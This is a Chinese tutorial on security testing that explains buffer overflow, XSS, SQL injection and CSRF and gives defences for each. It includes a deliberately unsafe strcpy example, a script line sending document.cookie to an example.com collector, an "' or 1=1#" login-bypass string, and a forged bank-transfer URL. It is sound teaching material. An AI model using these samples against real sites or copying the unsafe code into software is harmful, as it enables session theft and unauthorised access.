安全测试是指有关验证应用程序的安全等级和识别潜在安全性缺陷的过程。应用程序级安全测试的主要目的是查找软件自身程序设计中存在的安全隐患,并检查应用程序对非法侵入的防范能力。
一些常见的软件安全问题有:
• 缓冲区溢出
• SQL注入
• 跨站脚本攻击
• 跨站请求伪造
• SSL协议攻击
缓冲区溢出
缓冲区溢出是向程序缓冲区编写超过其长度的内容造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击目的。
造成溢出的原因是程序中没有仔细检查用户输出的参数,如下代码
void mytest(char*str){
Char buffer[100];
Strcpy(buffer,str);
}
void mytest2(){
//validate useraccount function code
}
如果str的长度大于100B,会填满buffer字符串,并且继续覆盖本地变量的值,可能会覆盖mytest的返回地址,并进而覆盖函数mytest2()执行代码的内容,造成buffer的溢出使程序运行出错。如果覆盖了account验证的函数,黑客就可能获得访问系统的权限。
跨站脚本(XSS)
漏洞是指web应用程序从恶意用户得到输入,不用验证就直接回显。如果这种回显由恶意的可被浏览器解析的脚本代码生成,一旦受害浏览器单击了包含回显的链接,则受害浏览器将会执行这些恶意代码,从而受到攻击。
如:
XSS涉及攻击者将恶意代码插入到网站中,网站通常会展示很多的由不同用户自己创建的内容,如用户自己编写文章,发表评论,上传图片视频或数据来源自第三方网站等。然而这些数据无法完全控制,是不可信任数据,需要小心对待。这是因为恶意代码通常是HTML和JavaScript的混合,一旦触发XSS攻击,可以让攻击者获取如下信息
• DOM信息
• 网站的cookie
• 回话令牌:登录网站时,用以区分和其他用户的信息
这些信息可能使得攻击者获取用户账号信息。如
<script>var adr=’http://example.com/xss.php?cookie=’ + escape(document.cookie);<script>
上述代码将cookie信息保存在一个变量中,这个变量可能会被发送到第三方服务器。任何来自不可信来源的HTML都会给网站带来XSS攻击的风险,不过威胁来自一些特定的字符。
防范XSS攻击的方法主要是校验提交到服务器上的数据。
这就要求对用户的输入进行过滤和校验,最基本的防御策略是当用户需要提供特定类型的信息时,阻止用户在表单字段中输入那些非必须的字符(如不少网站的评论区域很少允许输入大量的标签,这用来防止用户输入一些恶意内容,如<script>标签或是带有事件处理程序属性的内容)。其次采取限制用户内容的显示位置,浏览器会使用不同的方式来处理HTML、CSS和JavaScript,每种语言中,都会有不同的字符可能造成问题,因此只应该把来自不可信来源的内容作为纯文本而不是标签,显示在可见区域的元素中。
如果需要在代码中使用来自用户的输入内容,都应该在服务器端进行转义(大多数服务器端语言都提供了一些辅助函数用于将恶意代码转义处理掉),同时控制添加到页面上的所有标签(在服务器端转义后,仍然需要把这些内容作为纯文本显示在页面上,如JavaScript可使用textContent,不能使用innerHTML)。
SQL注入
它是指发生于应用程序之数据库层的安全漏洞,是在输入的数据字符串之中夹带SQL命令(经常是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串),在设计不良的程序中忽略了检查,那么这些夹带进去的指令就会被数据库服务器认为是正常的SQL指令而运行,因此导致破坏,这是因为用户输入的内容直接用来构造动态sql命令。
如通过URL的SQL注入:
http://localhost:1234/defualt.html?username=’or 1=1#& password=
则程序在使用这些参数的时候,合成的等效的SQL语句可能如下:
SELECT *FROMtables where username=’’ or 1=1#’ and password=’’;
因为#在mysql中是注释符,这样#后面的内容将被mysql视为注释内容,后面就不会被执行,而1=1恒成立,这就相当于where条件总为真,恶意用户虽然没有账号密码,亦可以登录网站。
导致SQL注入的根源如下:
• SQL命令可以进行查询、插入、更新和删除等命令的串接
• SQL命令对于传入的字符串参数是用单引号字符所包起来的,但连续两个单引号字符,在SQL数据库中,则被视为字符串中的一个单引号。
• SQL命令中可以夹带注释(连续两个减号字符后的文字被注解)
解决方法是采用参数化查询
参数化查询(parametrized query)是访问数据库的时候,在需要填写数值或数据的地方,使用参数来给值。数据库服务器不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中有指令,也不会被数据库运行。可以理解为编译后就建立了一个执行计划,然后执行计划根据参数值去看是否能命中记录。
CSRF跨站请求伪造攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click
attack/session riding,缩写为:CSRF/XSRF。该攻击迫使通过验证的终端用户在毫无察觉的情况下向web应用提交不必要的动作。这个请求动作不是客户想发起的,当对于服务器来说该请求是合法的,造成服务器完成了一个符合攻击者期望的操作。
攻击原理
CSRF攻击利用的是冲着浏览器分不清发起请求是不是真正的用户本人,也就是说,简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
用户打开浏览器,访问受信任的网站A,输入用户名和密码登录
用户信息通过验证后,网站A产生cookie信息返回给用户
用户未退出浏览器,在另一个Tab页登录网站B(含有指向网站A的链接)
网站B对用户的请求响应并返回一些攻击代码,用户A浏览器在接收到这些攻击代码后,根据B网站的要求,在用户不知道的情况下携带cookie信息,向网站A发出请求,A不知道该请求其实是B发起的,所以会根据用户的cookie信息以用户的权限处理该请求,导致来自B的恶意代码被执行。
预防方法
服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手:1、正确使用GET,POST和Cookie;2、在非GET请求中增加伪随机数。
CSRF攻击的检测原则是如果一个用户的请求是可构造的,那么一定存在CSRF漏洞。
我们要明白,仅仅靠发起CSRF攻击的话,黑客只能借助受害者的cookie骗取服务器的信任,但是黑客并不能拿到cookie,也看不到 cookie的内容。另外,对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。
这就告诉我们,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行CSRF的保护。而保护的关键,是在请求中放入黑客所不能伪造的信息。
1、检测HTTP头部Referer信息。所谓Referer,就是在一个网络请求头中的键值对,标示着目前的请求是从哪个页面过来的。服务器通过检查Referer的值,如果判断出Referer并非本站页面,而是一个外部站点的页面,那么我们就可以判断出这个请求是非法的。与此同时,我们也就检测到了一次csrf攻击。然而检查refer信息并不能防范来自本域的攻击,在企业业务网站上,经常会有同域的web应用程序,来自这些地方的CSRF攻击所携带的就是本域的Refer信息,此时这种防御方法失效。比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录bank.test,然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL(本例中,通常是以bank. test域名开头的地址)。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求(攻击者构造的请求地址是http://bank.test/test?page=10&userID=101&money=10000),当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站(cookie还是银行网站的cookie)。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。
2、在重要的请求中添加Token,目前主流的做法是使用Token抵御CSRF攻击。CSRF攻击成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求,所以我们可以加大这个预测的难度,加入一些黑客不能伪造的信息。我们在提交表单时,保持原有参数不变,另外添加一个隐藏域参数Token,该值可以是随机并且加密的,当提交表单时,客户端也同时提交这个token,然后由服务端验证,验证通过才是有效的请求(服务器验证token,由于黑客无法得到或者伪造token,所以能防范csrf,即无法伪造一个含有该token的表单)。但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。
3、CSRF在攻击的时候往往是在用户不情的情况下提交的,我们可以使用验证码来强制跟用户交互,但是太多强制性的操作对用户来说体验感不好,所以要权衡利弊。